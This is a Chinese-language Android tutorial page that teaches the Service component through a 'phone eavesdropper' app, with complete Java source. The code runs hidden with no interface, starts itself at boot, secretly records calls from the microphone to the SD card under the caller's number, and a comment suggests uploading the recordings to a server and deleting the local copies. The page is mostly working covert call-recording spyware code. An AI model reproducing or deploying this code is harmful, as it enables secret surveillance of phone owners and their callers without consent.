編輯:關於Android編程
組件—服務
後台長期運行的沒有界面的一個activity。
電話竊聽器:
需求:
1.沒有界面,一般用戶看不到,開機自動啟動
2.長期的後台運行,監視當前用戶的手機狀態
3.通話狀態,開啟一個錄音機,然後錄音通話記錄,保存在sd卡中。
創建服務的步驟:
1.寫一個類,繼承系統的Service組件
2.清單文件配置
3.在服務的onCreate()方法做服務初始化的操作
4.在服務的onDestroy()方法裡面做服務掃尾操作
5.開啟服務startService(intent) stopService(intent)。
一.自己寫界面控制服務的開啟和關閉
xml文件很簡單,就兩個button開啟服務和關閉服務,不給出了。

MainActivity.java文件,
package com.itheima.phonelistener;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.view.Menu;
import android.view.View;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
/**
* 開啟服務按鈕對應的點擊時間
* @param view
*/
public void start(View view){
//定義服務的意圖對象
Intent intent = new Intent(this,PhoneStatusService.class);
startService(intent);
}
/**
* 關閉服務按鈕對應的點擊時間
* @param view
*/
public void stop(View view){
Intent intent = new Intent(this,PhoneStatusService.class);
stopService(intent);
}
}
package com.itheima.phonelistener;
import java.io.File;
import java.io.IOException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioSource;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
public class PhoneStatusService extends Service {
public static final String TAG = "PhoneStatusService";
//聲明手機電話系統狀態管理的服務類
private TelephonyManager tm;
//電話狀態的監聽器
private MyPhoneListener myPhoneListener;
//定義一個電話錄音機
private MediaRecorder mediaRecorder;
@Override
public IBinder onBind(Intent arg0) {
return null;
}
//Called by the system when the service is first created
//當服務第一次被創建的時候執行,由系統執行的。
@Override
public void onCreate() {
//獲取手機電話狀態管理的服務。
tm = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);
//創建一個監聽器,監聽電話呼叫狀態的變化。
myPhoneListener = new MyPhoneListener();
//開始監聽用戶的通話狀態
tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
//Called by the system to notify a Service that it is no longer used and is being removed
//當服務被停止的時候調用。
@Override
public void onDestroy() {
//服務停止取消電話的監聽器
tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE);
myPhoneListener = null;
super.onDestroy();
}
private class MyPhoneListener extends PhoneStateListener{
//當手機呼叫狀態變化的時候 執行下面代碼。
//state 電話的狀態
//incomingnumber 來電號碼
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
//判斷我們當前手機的通話狀態
switch (state) {
//手機處於空閒狀態,沒有人打電話 沒有零響
case TelephonyManager.CALL_STATE_IDLE:
Log.i(TAG,"手機處於空閒狀態,檢查剛才是否開啟了錄音機,如果開啟了,保存音頻到sd卡");
if(mediaRecorder!=null){
//8.停止錄音
mediaRecorder.stop();
//9.釋放資源。
mediaRecorder.release();
//方便垃圾回收器回收掉資源
mediaRecorder = null;
//上傳音頻文件到服務器 。 網絡請求api。刪除sd卡臨時保存的文件。
}
break;
//手機零響狀態
case TelephonyManager.CALL_STATE_RINGING:
Log.i(TAG,"手機鈴聲響的狀態,悄悄地開啟一個錄音機,准備錄音。");
//1.第一步創建一個多媒體錄音機的實例
mediaRecorder = new MediaRecorder();
//2.指定錄音機的音頻源 錄音的音源是麥克風
mediaRecorder.setAudioSource(AudioSource.MIC);
//3.指定這個音頻文件的格式 。
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
//4.指定錄出來的音頻文件保存的文件路徑
File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
//5.設置音頻的編碼格式
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
//6.准備開始錄音
mediaRecorder.prepare();
break;
//電話接通狀態,用戶正在打電話
case TelephonyManager.CALL_STATE_OFFHOOK:
Log.i(TAG,"手機處於通話狀態,開始錄音,把用戶說的話都給錄下來。");
if(mediaRecorder!=null){
//7.開始錄音
mediaRecorder.start();
}
break;
}
super.onCallStateChanged(state, incomingNumber);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

二.開機自動啟動服務
配置文件AndroidManifest.xml添加
自定義開機廣播接受者,
package com.itheima.phonelistener;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
public class BootCompleteReceiver extends BroadcastReceiver {
private static final String TAG = "BootCompleteReceiver";
@Override
public void onReceive(Context context, Intent intent) {
Log.i(TAG,"手機啟動完畢了,監視到了手機啟動的廣播事件,開啟後台監聽的服務");
Intent i = new Intent(context,PhoneStatusService.class);
context.startService(i);
}
}
查看sd卡路徑下可以找到.3gp文件,就是通話的錄音文件。
View的事件分發機制
View的事件分發機制,也稱為View的事件攔截機制,在說事件分發機制之前,需要對MotionEvent對象就行分析,也就是點擊事件,MotionEvent是手指接觸屏幕
Android開發之MediaRecorder類詳解
MediaRecorder類詳解 手機一般都有麥克風和攝像頭,而Android系統就可以利用這些硬件來錄制音視頻了。 為了增加對錄制音視頻的支持,Android系統提
Android實現app應用多語言切換功能
最近在做一個多語言切換的功能,類似於微信的語言切換,搜了下資料基本上都是以下這種:1. 實現的效果 和微信類似,在設置界面打開切換語言的界面,選擇語言後重啟 H
Android更換皮膚解決方案
Android更換皮膚解決方案 轉載請注明出處:IT_xiao小巫本篇博客要給大家分享的一個關於Android應用換膚的Demo,大家可以到我的github去下載demo